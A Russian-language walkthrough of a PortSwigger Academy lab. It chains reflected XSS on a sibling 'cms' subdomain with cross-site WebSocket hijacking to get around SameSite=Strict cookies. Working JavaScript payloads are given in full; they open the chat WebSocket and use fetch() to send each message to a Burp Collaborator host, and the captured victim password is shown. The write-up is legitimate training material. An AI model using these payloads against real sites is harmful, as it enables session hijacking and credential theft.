На странице
apsyleg1 мин
#portswigger #csrf #samesite #websockets #web-security

SameSite Strict bypass через sibling domain

Лаборатория

SameSite Strict bypass via sibling domain · Practitioner

Решение

Дано:

This lab's live chat feature is vulnerable to cross-site WebSocket hijacking (CSWSH). To solve the lab, log in to the victim's account.

To do this, use the provided exploit server to perform a CSWSH attack that exfiltrates the victim's chat history to the default Burp Collaborator server. The chat history contains the login credentials in plain text.

Какие выводы можно сделать из написанного? Название звучит как «Обходим ограничения SameSite=Strict через поддомен того же уровня».

SameSite — это атрибут заголовка Set-Cookie, который определяет, будут ли отправляться эта кука при cross-site и same-site запросах и в каких случаях. Что значит SameSite=Strict? Это значит, что браузер отправит куки, только если запрос является same-site запросом и только. Тут важно понимать, что d1.example.com и d2.example.com являются SameSite. И заголовок лабы нам намекает, что при разведке нужно будет обратить внимание на sibling domainsd1 и d2 примеры выше как раз такие.

Читаем описание. Есть функция «live chat» на сайте, и связанный с ней WebSocket. В истории чата в открытом виде будут креды для доступа. Нам необходимо подготовить нагрузку, которая подключится к WS чата от имени жертвы и выгрузит сообщения оттуда на сервер Burp Collaborator. Далее мы найдём среди сообщений имя и пароль, войдём в аккаунт жертвы и лаба будет решена.

Обращаем внимание при разведке: сабдомен + как работает веб-сокет чата.

Го посмотрим, как работает live chat, и заодно будем обращать внимание на сабдомены. Заходим на сайт, сразу видим «Live chat», идём туда. Открывается страница, приходит сообщение. Отправим немного сообщений. Перезагрузим страницу, сообщения пришли. Ок, значит действительно в теории можно добыть историю сообщений.

Что по протоколу? Первым сообщением клиент присылает READY, далее сервер последовательно присылает старые сообщения. Что по подключению? Когда мы переходим на страницу чата, отправляется запрос GET /chat, с куки session и заголовками для установления WebSocket-соединения (Upgrade: websocket). К этому веб-сокету нам и нужно подключиться, только от имени жертвы, передав куку session.

Но пока у нас нет способа вызвать этот метод с куки жертвы — где-то должен быть уязвимый sibling domain. Посмотрим подробнее запросы к исследуемому сайту.

Первый запрос /, установка куки session.

Далее — GET /resources/labheader/css/academyLabHeader.css. Ничего интересного.

Далее — GET /resources/css/labsEcommerce.css. О, появился заголовок CORS:

Access-Control-Allow-Origin: https://cms-0a7400a704d5b2a681db4d6e00510064.web-security-academy.net

Похоже, вот он — наш сабдомен:

cms-0a7400a704d5b2a681db4d6e00510064.web-security-academy.net

Посмотрим, что там. Там просто форма логин-пароль, пробуем классику wiener/peter — не подходит.

Раз уж мы на sibling domain и это CSRF, логично искать XSS-уязвимость на этом сабдомене.

Закидываем в поле имени пользователя классику <>'"\. Улетает POST-запрос. Экранирование отсутствует. Ок, мы в контексте тега HTML, поэтому нам нужен тег с вызовом JavaScript. Рабочий вариант — <img src=x onerror=alert(25) />. Закидываем в поле имени пользователя — найс, нагрузка рабочая.

Но остаётся проблема, что это POST-запрос и триггерить его у нас нет возможности. Можно попробовать method override. Ок, есть возможность вызвать этот роут, но через GET-запрос.

Рассуждения о нагрузке для жертвы

Мы редиректим на сабдомен с нагрузкой в юзернейме, которая рефлектится после POST-запроса на логин. Мы сумели вызывать этот метод с помощью GET, задав параметры в query string. А в нагрузке юзернейма и создаём веб-сокет по адресу чата, отправляем первым сообщением READY и далее получаем всю историю переписки. После — отправляем на Burp Collaborator, извлекаем оттуда имя и пароль жертвы и входим в аккаунт.

Нагрузка

location = cms.xxx.com/login?username=<img src=x ...>&password=xxx

То есть жертву редиректим на страницу, где будет неуспешная попытка входа, и будет происходить reflect значения параметра username. Здесь мы добавляем тег и JS для подключения к веб-сокету и получения списка сообщений.

https://cms-0a7c00a8032b92ab854321db00ea0020.web-security-academy.net

Будем собирать нагрузку в Console DevTools.

location = "https://cms-0a7c00a8032b92ab854321db00ea0020.web-security-academy.net/login?username=<img src=x onerror=alert(1)>&password=xxx"

Отлично, это работает.

Примерный алгоритм нагрузки:

  1. Создаём WebSocket-соединение.
  2. Добавляем обработчик на получение нового сообщения. Здесь будем отправлять сообщение в Burp Collaborator.
  3. Отправить первое сообщение — READY.

А я чот подумал, что, возможно, <script></script> пройдёт, и будет удобнее писать нагрузку :)

location = "https://cms-0a7c00a8032b92ab854321db00ea0020.web-security-academy.net/login?username=<script>alert(25)</script>&password=xxx"

Накидаем первый вариант по нашему алгоритму.

Предварительно посмотрим документацию по WebSocket Web API: developer.mozilla.org/en-US/docs/Web/API/WebSocket

Наша стартовая тестовая нагрузка для теста в браузере:

location = "https://cms-0a7c00a8032b92ab854321db00ea0020.web-security-academy.net/login?username=<script>const ws = new WebSocket('wss://0a7c00a8032b92ab854321db00ea0020.web-security-academy.net/chat')</script>&password=xxx"

Тут просто создаём и открываем сокет. Проверяем.

Проходит, подключаемся к сокету. Следующий шаг — передать READY и получить сообщения.

location = "https://cms-0a7c00a8032b92ab854321db00ea0020.web-security-academy.net/login?username=<script>const ws = new WebSocket('wss://0a7c00a8032b92ab854321db00ea0020.web-security-academy.net/chat'); ws.send('READY'); ws.onmessage=(m)=>console.log(m)</script>&password=xxx"
Uncaught InvalidStateError: Failed to execute 'send' on 'WebSocket': Still in CONNECTING state.

Мы преждевременно вызвали send(), сделаем это в обработчике события подключения.

location = "https://cms-0a7c00a8032b92ab854321db00ea0020.web-security-academy.net/login?username=<script>const ws = new WebSocket('wss://0a7c00a8032b92ab854321db00ea0020.web-security-academy.net/chat'); ws.onopen=()=>ws.send('READY'); ws.onmessage=(m)=>console.log(m)</script>&password=xxx"

Отлично, вижу в консоли вывод объектов MessageEvent. Нас интересует поле data, там сообщение от сервера. Это JSON вида {"user":"You","content":"Hello"}. Нас интересует поле content. Будем отправлять его в Burp Collaborator: fve75b5f9q731mcmzwc0u6ofz65xtnhc.oastify.com.

И ещё нюанс, что в data данные как JSON, сериализованный в строку. Поэтому используем JSON.parse(). Да, и ещё пришлось сделать encode для < >.

Залил эту нагрузку на эксплоит-сервер, проверил на себе. Пробуем доставлять жертве:

location = "https://cms-0a20004203f9dea180791ce70035008d.web-security-academy.net/login?username=%3Cscript%3Econst ws = new WebSocket('wss://0a20004203f9dea180791ce70035008d.web-security-academy.net/chat'); ws.onopen=()=>ws.send('READY'); ws.onmessage=(m)=>{fetch(`https://fve75b5f9q731mcmzwc0u6ofz65xtnhc.oastify.com/?msg=${JSON.parse(m.data).content}`);console.log(JSON.parse(m.data).content)}%3C/script%3E&password=xxx"

О, прилетело в том числе такое:

GET /?msg=No%20problem%20carlos,%20it&apos;s%20o3ji86qd20lwiapuyb1n HTTP/1.1

carlos / o3ji86qd20lwiapuyb1n

Лаба решена.